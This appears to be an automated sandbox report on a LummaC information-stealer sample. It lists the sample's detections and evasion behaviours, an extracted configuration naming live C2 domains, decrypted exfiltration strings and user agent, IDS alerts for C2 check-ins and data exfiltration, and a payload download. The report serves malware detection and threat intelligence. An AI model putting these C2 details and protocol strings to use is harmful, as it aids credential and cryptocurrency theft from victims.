Edit tour

Windows Analysis Report
pVbAZEFIpI.exe

Overview

General Information

Sample name:	pVbAZEFIpI.exe renamed because original name is a hash value
Original sample name:	6ccc7dbf4f2bee3325ab58592bc9390d.exe
Analysis ID:	1580940
MD5:	6ccc7dbf4f2bee3325ab58592bc9390d
SHA1:	a555ee075cf023706da0994df028f64f1aae9116
SHA256:	2226cec0ef70e508cc98f6956897a733369dc394fc74f1c624a9be96af654bab
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

pVbAZEFIpI.exe (PID: 7548 cmdline: "C:\Users\user\Desktop\pVbAZEFIpI.exe" MD5: 6CCC7DBF4F2BEE3325AB58592BC9390D)

chrome.exe (PID: 8172 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1508 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1924,i,12059119630941512430,12876851585135929176,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5356 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4452 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=1908,i,13193354227088647173,12543081147738744135,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["curverpluch.lat", "bashfulacid.lat", "talkynicer.lat", "slipperyloo.lat", "wordyfindy.lat", "tentabatte.lat", "shapestickyr.lat", "observerfry.lat", "manyrestro.lat"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1621052986.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1620800533.00000000010A7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: pVbAZEFIpI.exe PID: 7548	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: pVbAZEFIpI.exe PID: 7548	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: pVbAZEFIpI.exe PID: 7548	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: pVbAZEFIpI.exe PID: 7548	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:48.180270+0100	2028371	3	Unknown Traffic	192.168.2.8	49705	104.102.49.254	443	TCP
2024-12-26T13:22:50.676921+0100	2028371	3	Unknown Traffic	192.168.2.8	49706	172.67.157.254	443	TCP
2024-12-26T13:22:52.798589+0100	2028371	3	Unknown Traffic	192.168.2.8	49707	172.67.157.254	443	TCP
2024-12-26T13:22:55.314822+0100	2028371	3	Unknown Traffic	192.168.2.8	49708	172.67.157.254	443	TCP
2024-12-26T13:22:58.122184+0100	2028371	3	Unknown Traffic	192.168.2.8	49709	172.67.157.254	443	TCP
2024-12-26T13:23:00.586503+0100	2028371	3	Unknown Traffic	192.168.2.8	49711	172.67.157.254	443	TCP
2024-12-26T13:23:03.990472+0100	2028371	3	Unknown Traffic	192.168.2.8	49713	172.67.157.254	443	TCP
2024-12-26T13:23:06.481037+0100	2028371	3	Unknown Traffic	192.168.2.8	49714	172.67.157.254	443	TCP
2024-12-26T13:23:11.625343+0100	2028371	3	Unknown Traffic	192.168.2.8	49715	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:51.438874+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49706	172.67.157.254	443	TCP
2024-12-26T13:22:53.592615+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49707	172.67.157.254	443	TCP
2024-12-26T13:23:12.419739+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49715	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:51.438874+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49706	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:53.592615+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49707	172.67.157.254	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:23:13.981521+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	49716	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bashfulacid .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:46.371198+0100	2058480	1	Domain Observed Used for C2 Detected	192.168.2.8	64391	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (curverpluch .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:45.980785+0100	2058484	1	Domain Observed Used for C2 Detected	192.168.2.8	57777	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (manyrestro .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:45.488823+0100	2058492	1	Domain Observed Used for C2 Detected	192.168.2.8	60532	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shapestickyr .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:45.630362+0100	2058500	1	Domain Observed Used for C2 Detected	192.168.2.8	58793	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (slipperyloo .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:45.348137+0100	2058502	1	Domain Observed Used for C2 Detected	192.168.2.8	57286	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (talkynicer .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:45.782120+0100	2058510	1	Domain Observed Used for C2 Detected	192.168.2.8	59372	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tentabatte .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:46.227611+0100	2058512	1	Domain Observed Used for C2 Detected	192.168.2.8	62627	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wordyfindy .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:45.202833+0100	2058514	1	Domain Observed Used for C2 Detected	192.168.2.8	51720	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:59.086602+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49709	172.67.157.254	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:22:48.984390+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.8	49705	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: pVbAZEFIpI.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://lev-tolstoi.com/s	Avira URL Cloud: Label: malware
Source: https://bashfulacid.lat:443/apir	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/sZ	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apiXB	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/s2	Avira URL Cloud: Label: malware
Source: https://curverpluch.lat:443/api	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/pi:	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/D&	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apia-B	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apiAIAB	Avira URL Cloud: Label: malware

Found malware configuration

Source: pVbAZEFIpI.exe.7548.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["curverpluch.lat", "bashfulacid.lat", "talkynicer.lat", "slipperyloo.lat", "wordyfindy.lat", "tentabatte.lat", "shapestickyr.lat", "observerfry.lat", "manyrestro.lat"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: pVbAZEFIpI.exe	ReversingLabs: Detection: 71%
Source: pVbAZEFIpI.exe	Virustotal: Detection: 71%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: pVbAZEFIpI.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: bashfulacid.lat
Source: 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tentabatte.lat
Source: 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: curverpluch.lat
Source: 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: talkynicer.lat
Source: 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shapestickyr.lat
Source: 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: manyrestro.lat
Source: 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: slipperyloo.lat
Source: 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wordyfindy.lat
Source: 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: observerfry.lat
Source: 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1442311309.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=pVbAZEFIpI.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: pVbAZEFIpI.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49737 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49715 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: pVbAZEFIpI.exe, 00000000.00000002.1879149324.00000000060D2000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058484 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (curverpluch .lat) : 192.168.2.8:57777 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058480 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bashfulacid .lat) : 192.168.2.8:64391 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058512 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tentabatte .lat) : 192.168.2.8:62627 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058492 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (manyrestro .lat) : 192.168.2.8:60532 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058514 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wordyfindy .lat) : 192.168.2.8:51720 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058502 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (slipperyloo .lat) : 192.168.2.8:57286 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058510 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (talkynicer .lat) : 192.168.2.8:59372 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058500 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shapestickyr .lat) : 192.168.2.8:58793 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.8:49705 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49707 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49707 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49709 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49706 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49706 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49715 -> 172.67.157.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: observerfry.lat
Source: Malware configuration extractor	URLs: manyrestro.lat

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 26 Dec 2024 12:23:12 GMTContent-Type: application/octet-streamContent-Length: 2801664Last-Modified: Thu, 26 Dec 2024 11:19:36 GMTConnection: keep-aliveETag: "676d3bc8-2ac000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 c5 4d 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 67 74 77 78 76 6c 65 6c 00 40 2a 00 00 a0 00 00 00 32 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6e 6c 62 78 68 75 6e 00 20 00 00 00 e0 2a 00 00 04 00 00 00 9a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 9e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 172.67.157.254 172.67.157.254
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49711 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49709 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49715 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49713 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49705 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49714 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49707 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49706 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49708 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49716 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49737 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
